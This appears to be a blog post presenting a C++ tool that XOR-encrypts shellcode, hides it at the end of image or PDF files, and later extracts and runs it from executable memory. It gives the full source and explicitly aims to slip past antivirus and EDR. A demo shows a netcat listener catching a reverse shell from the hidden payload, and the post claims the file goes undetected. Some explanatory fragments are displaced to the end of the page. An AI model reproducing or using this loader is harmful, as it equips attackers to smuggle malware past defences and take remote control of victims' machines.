injector

simple tool to hide Payloads in Image Files and pdf.

Malware
Programming
Cybersecurity
Code
Banner image

Why to hide the payloads?

Hiding a shellcode in an image file or PDF file is a classic steganographic technique used to bypass EDRs. the goal to make the malicious file appear as harmless file like image, so it can be delivered to a target system without any suspicious.

also modern AV/EDR scan memory regions disk artifacts and process behaviors for known signatures. one evasion method is to hide our payload in images png,jpg.

How it work?

  1. Read Files: The tool reads the host file (like an image or PDF) and the payload file (your shellcode) into memory.
  2. Encrypt Payload: It encrypts the shellcode using a simple XOR cipher with your secret key. This scrambles the code to hide it from antivirus scanners.
  3. Append and Save: It takes the original image data, appends the encrypted shellcode to the end, and then adds a final 8-byte "footer" that stores the size of the shellcode. This new combined data is saved as the output file.

How It Executes

  1. Read Size: The tool reads the last 8 bytes of the file to know how big the hidden shellcode is.
  2. Extract and Decrypt: It extracts the encrypted shellcode from the file and decrypts it in memory using your secret key.
  3. Allocate and Run: It asks the OS for a new piece of memory that can be executed, copies the decrypted shellcode into it, and runs the code directly from memory.

Let's see the code

first function ReadFile it does the following:

  1. It checks if the file exists. If not, it shows an error.
  2. It opens the file in binary mode, which reads the file byte-for-byte exactly as it is.
  3. It measures the file's size to know how much memory to prepare.
  4. It creates a buffer (a temporary storage area) in memory of that exact size.
  5. It copies all the file's data into that buffer and then returns it.
injector.cpp
1vector<char> ReadFile(const string& path) { 2 if (!fs::exists(path)) { 3 cerr << "[-] Error: File does not exist: " << path << endl; 4 return {}; 5 } 6 ifstream file(path, ios::binary | ios::ate); 7 if (!file.is_open()) { 8 cerr << "[-] Error: Could not open file: " << path << endl; 9 return {}; 10 } 11 streamsize size = file.tellg(); 12 file.seekg(0, ios::beg); 13 vector<char> buffer(size); 14 if (!file.read(buffer.data(), size)) { 15 cerr << "[-] Error: Failed to read file: " << path << endl; 16 return {}; 17 } 18 file.close(); 19 return buffer; 20}

function encrypts or decrypts data using a simple but effective method called a repeating XOR cipher. The beauty of XOR is that the same operation reverses itself.

The Logic
  1. Prepare the Output: It starts by making an exact copy of the input data. This copy will be modified and become the encrypted (or decrypted) result.
  2. Loop Through the Data: It goes through every single byte of the data, one by one.
  3. Apply the XOR Key: For each byte of data, it takes a corresponding byte from the key and performs a XOR operation on it.
    • result[i] ^= key[i % key.size()];
  4. Repeat the Key: What if the data is longer than the key? The % (modulo) operator handles this. It makes the key repeat.
    • If your key is "ABC" and your data is "SECRET", the operation looks like this:
      • S is XORed with A
      • E is XORed with B
      • C is XORed with C
inector.cpp
1vector<char> XOREncryptDecrypt(const vector<char>& data, const string& key) { 2 if (key.empty()) { 3 throw runtime_error("XOR key cannot be empty"); 4 } 5 vector<char> result = data; 6 for (size_t i = 0; i < data.size(); i++) { 7 result[i] ^= key[i % key.size()]; 8 } 9 return result; 10} 11

function takes a host file (like an image), encrypts your payload, and hides it inside.

  1. Encrypt the Payload: First, it calls the XOREncryptDecrypt function to encrypt your shellcode using the provided key. This keeps it hidden.
  2. Append the Encrypted Payload: It takes the original file's data (buffer) and simply tacks the encrypted_shellcode onto the very end.
  3. Append the Size: This is the clever part. How will you know where the payload ends and the image begins when you want to extract it later?
    • The function takes the original size of the shellcode (e.g., 512 bytes).
    • It appends this size as a tiny 8-byte number at the absolute end of the file. This number acts as a marker.
  4. Return the New File: The function returns the final combined data: [Original File Data] + [Encrypted Payload] + [Payload Size].
injector.cpp
1 2vector<char> InjectEncryptedPayload(const vector<char>& buffer, const vector<char>& shellcode, const string& key) { 3 vector<char> result = buffer; 4 vector<char> encrypted_shellcode = XOREncryptDecrypt(shellcode, key); 5 result.insert(result.end(), encrypted_shellcode.begin(), encrypted_shellcode.end()); 6 7 // Append shellcode "size" as 8-byte footer 8 uint64_t shellcode_size = shellcode.size(); 9 char* size_bytes = reinterpret_cast<char*>(&shellcode_size); 10 result.insert(result.end(), size_bytes, size_bytes + sizeof(uint64_t)); 11 return result; 12} 13

the most important function does the reverse of the injection: it finds the hidden payload within a file, extracts it, and decrypts it.

  1. Read the Payload Size: It first looks at the very end of the file. It reads the last 8 bytes to get the shellcode_size that was stored there during injection. This tells the function exactly how many bytes of encrypted data to look for.
  2. Locate the Encrypted Payload: Now that it knows the size, it can calculate where the encrypted data starts and ends. It works backward from the end of the file:
    • The end is the 8-byte size marker.
    • The section right before that is the encrypted payload.
  3. Extract the Payload: It copies that specific chunk of encrypted data out of the file into a new buffer.
  4. Decrypt and Return: Finally, it uses the XOREncryptDecrypt function with the same xor_key to decrypt the payload, restoring it to its original, executable form. This decrypted shellcode is then returned.
injector.cpp
1vector<char> ExtractAndDecryptShellcode(const vector<char>& file_data, const string& xor_key) { 2 // Check if file is large enough to contain at least the size footer 3 if (file_data.size() < sizeof(uint64_t)) { 4 throw runtime_error("File too small to contain shellcode size metadata"); 5 } 6 // Read the shellcode size from the last 8 bytes 7 size_t size_pos = file_data.size() - sizeof(uint64_t); 8 uint64_t shellcode_size; 9 memcpy(&shellcode_size, file_data.data() + size_pos, sizeof(uint64_t)); 10 // Check if file is large enough to contain the shellcode 11 if (file_data.size() < shellcode_size + sizeof(uint64_t)) { 12 throw runtime_error("File too small to contain the shellcode"); 13 } 14 // Extract the encrypted shellcode 15 size_t payload_start = file_data.size() - shellcode_size - sizeof(uint64_t); 16 vector<char> encrypted_payload(file_data.begin() + payload_start, file_data.begin() + size_pos); 17 return XOREncryptDecrypt(encrypted_payload, xor_key); 18}

This function is the final step: it extracts the hidden shellcode from a file and runs it directly in memory.

  1. Load the File: It first reads the entire file (e.g., the image with the hidden payload) into memory.
  2. Extract and Decrypt: It calls the ExtractAndDecryptShellcode function you asked about earlier. This pulls the shellcode out of the file and decrypts it using the secret key.
  3. Allocate Executable Memory: This is the most critical step for evasion. It asks the operating system for a new, empty chunk of memory that is marked as executable. This is done with the mmap command.
  4. Copy the Shellcode: It copies the decrypted, ready-to-run shellcode into this special executable memory block.
  5. Execute It: The program then treats that block of memory as a function and simply calls it. The CPU starts executing the instructions in the shellcode.
  6. Clean Up: After the shellcode finishes running, the function releases the special memory block back to the operating system using munmap.
injector.cpp
1 2void extractAndRunShellcode(const string& filepath, const string& xor_key) { 3 vector<char> file_data = ReadFile(filepath); 4 if (file_data.empty()) { 5 cerr << "[-] Error: Failed to load file: " << filepath << endl; 6 return; 7 } 8 9 try { 10 vector<char> shellcode = ExtractAndDecryptShellcode(file_data, xor_key); 11 cout << "Extracted and decrypted shellcode (" << shellcode.size() << " bytes)" << endl; 12 cout << "XOR key used: " << xor_key << endl; 13 14 // Allocate executable memory 15 void* exec_mem = mmap(NULL, shellcode.size(), PROT_READ | PROT_WRITE | PROT_EXEC, 16 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 17 if (exec_mem == MAP_FAILED) { 18 perror("Failed to allocate executable memory"); 19 return; 20 } 21 22 // Copy shellcode to the allocated executable memory 23 memcpy(exec_mem, shellcode.data(), shellcode.size()); 24 25 // Execute the shellcode 26 cout << "Executing shellcode...\n"; 27 void (*shellcode_func)() = (void (*)())exec_mem; 28 shellcode_func(); 29 30 // Deallocate the executable memory 31 munmap(exec_mem, shellcode.size()); 32 33 } catch (const exception& e) { 34 cerr << "Error extracting shellcode: " << e.what() << endl; 35 } 36} 37

This main function is the "brain" of your program. It reads the commands you type in the terminal and decides what to do.

  1. Parse Command-Line Arguments: It starts by looping through all the arguments you provide when you run the program (e.g., the file paths, the -execute flag, and the -key). It stores these in variables like inputImagePath, key, etc.
  2. Decide the Mode: It checks if you used the -execute flag.
    • If YES, it knows you want to run a payload.
    • If NO, it assumes you want to inject a payload into a file.
  3. Execute Mode:
    • It checks if you provided the necessary inputs (the image file and the key).
    • If everything is correct, it calls the extractAndRunShellcode function to do the actual work of running the payload.
  4. Injection Mode:
    • It checks if you provided all the required inputs (input image, output file name, payload file, and key).
    • It then calls the other functions in sequence:
      1. ReadFile to load the image and the shellcode.
injector.cpp
1 2int main(int argc, char* argv[]) { 3 if (argc < 2) { 4 printUsage(argv[0]); 5 return 1; 6 } 7 8 bool execute = false; 9 string inputImagePath, outputImagePath, shellcodePath,key; 10 11 for (int i = 1; i < argc; ++i) { 12 string arg = argv[i]; 13 if (arg == "-execute" && i + 1 < argc) { 14 execute = true; 15 inputImagePath = argv[++i]; 16 } else if (arg == "-key" && i + 1 < argc) { 17 key = argv[++i]; 18 if (key.empty()) { 19 cerr << "[-] Error: XOR key cannot be empty" << endl; 20 printUsage(argv[0]); 21 return 1; 22 } 23 } else if (inputImagePath.empty()) { 24 inputImagePath = arg; 25 } else if (!execute && outputImagePath.empty()) { 26 outputImagePath = arg; 27 } else if (!execute && shellcodePath.empty()) { 28 shellcodePath = arg; 29 } else { 30 cerr << "[-] Error: Unexpected argument: " << arg << endl; 31 printUsage(argv[0]); 32 return 1; 33 } 34 } 35 36 // Validate required parameters 37 if (execute) { 38 if (inputImagePath.empty() || key.empty()) { 39 cerr << "[-] Error: Execution requires input file path and XOR key" << endl; 40 printUsage(argv[0]); 41 return 1; 42 } 43 extractAndRunShellcode(inputImagePath, key); 44 } else { 45 if (inputImagePath.empty() || outputImagePath.empty() || shellcodePath.empty() || key.empty()) { 46 cerr << "[-] Error: Injection requires input image, output image, shellcode paths, and XOR key" << endl; 47 printUsage(argv[0]); 48 return 1; 49 } 50 51 vector<char> image = ReadFile(inputImagePath); 52 if (image.empty()) { 53 cerr << "[-] Error: Failed to load input image: " << inputImagePath << endl; 54 return 1; 55 } 56 57 vector<char> shellcode = ReadFile(shellcodePath); 58 if (shellcode.empty()) { 59 cerr << "[-] Error: Failed to load shellcode: " << shellcodePath << endl; 60 return 1; 61 } 62 63 cout << "\n=== File info ===" << endl; 64 cout << "Input file: " << inputImagePath << endl; 65 cout << "Output file: " << outputImagePath << endl; 66 cout << "Payload file: " << shellcodePath << endl; 67 cout << "Image size: " << image.size() << " bytes" << endl; 68 cout << "Payload size: " << shellcode.size() << " bytes" << endl; 69 cout << "XOR key: " << key << endl; 70 71 // Encrypt and inject payload 72 vector<char> newFile = InjectEncryptedPayload(image, shellcode, key); 73 74 // Write the new file 75 ofstream nFile(outputImagePath, ios::binary); 76 if (!nFile.is_open()) { 77 cerr << "[-] Error: Could not create or write to file: " << outputImagePath << endl; 78 return 1; 79 } 80 81 nFile.write(newFile.data(), newFile.size()); 82 nFile.close(); 83 84 cout << "\n[+] Success: File written to " << outputImagePath << endl; 85 cout << "[+] Encrypted and injected " << shellcode.size() << " bytes" << endl; 86 cout << "[+] New file size: " << newFile.size() << " bytes" << endl; 87 cout << "[+] Remember these parameters for execution:" << endl; 88 cout << "[+] XOR key: " << key << endl; 89 } 90 91 return 0; 92} 93

Let's test the code

Window 1: The Attacker (Top Right)

  • What we did: We started a listener using nc -lnvp 4444. This command tells our computer to wait for an incoming connection on port 4444.
  • Result: It's just waiting patiently.

Window 2: The Injection (Left)

  • What we did: We used your injector tool to hide a malicious payload (shellcode.bin) inside a normal image (free-nature-images.png).
  • ./injector <original_image> <new_image> <payload_file> -key test
  • Result: The tool created a new file, new.png. This file looks like a normal picture, but it secretly contains our encrypted payload. The secret key is "test".

Window 3: The Execution (Bottom Right)

  • What we did: We simulated a victim running the payload. We used the injector tool in its second mode to extract and run the code hidden inside new.png.
  • ./injector -execute new.png -key tes
  • Result: The script found the payload, decrypted it with the key "test", and executed it in memory.

The Final Result (Back in Window 1)

  • The executed shellcode's job was to connect back to our attacker machine.
  • As soon as the payload ran in Window 3, a "Connection from 127.0.0.1" appeared in our listener window.
  • We now have a remote shell on the "victim" machine. We tested it by typing whoami, and it correctly responded with mohe.

is it detectable?

as we can see this is the malicious image, no EDR was able to detect it, because it is encrypted with XOR.

Published 18 days ago

  • R is XORed with A (the key repeats)
  • E is XORed with B
  • T is XORed with C
  • Return the Result: After every byte has been XORed, the function returns the modified data.
  • InjectEncryptedPayload to combine them into a new file.
  • Finally, it writes this new, combined data to your specified output file.